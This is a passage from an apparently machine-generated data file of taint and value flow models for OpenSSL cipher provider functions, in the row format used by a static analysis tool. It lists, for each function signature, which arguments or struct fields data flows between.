"dfc-generated"] + - ["", "", True, "ossl_chacha20_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_cbc_cts_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_fillblock", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cipher_generic_block_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*4]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_block_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_cipher_generic_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[5]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initiv", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*6]", "Argument[*0].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*7].Field[**libctx]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[*7].Field[*libctx]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[1]", "Argument[*0].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[2]", "Argument[*0].Field[*blocksize]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[3]", "Argument[*0].Field[*ivlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[4]", "Argument[*0].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_initkey", "(void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *)", "", "Argument[6]", "Argument[*0].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*1].Field[*length]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_dinit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*1].Field[*length]", "Argument[*0].Field[*keylen]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*2]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_skey_einit", "(void *,void *,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[**tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*0].Field[*tlsmac]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_generic_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*0].Field[*iv]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*0].Field[*iv]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb1", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*0].Field[*tks].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[**ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*0].Field[*tks].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[***ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*1].Field[*tks].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[**ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*1].Field[*tks].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[***ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ecb", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ecb", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", 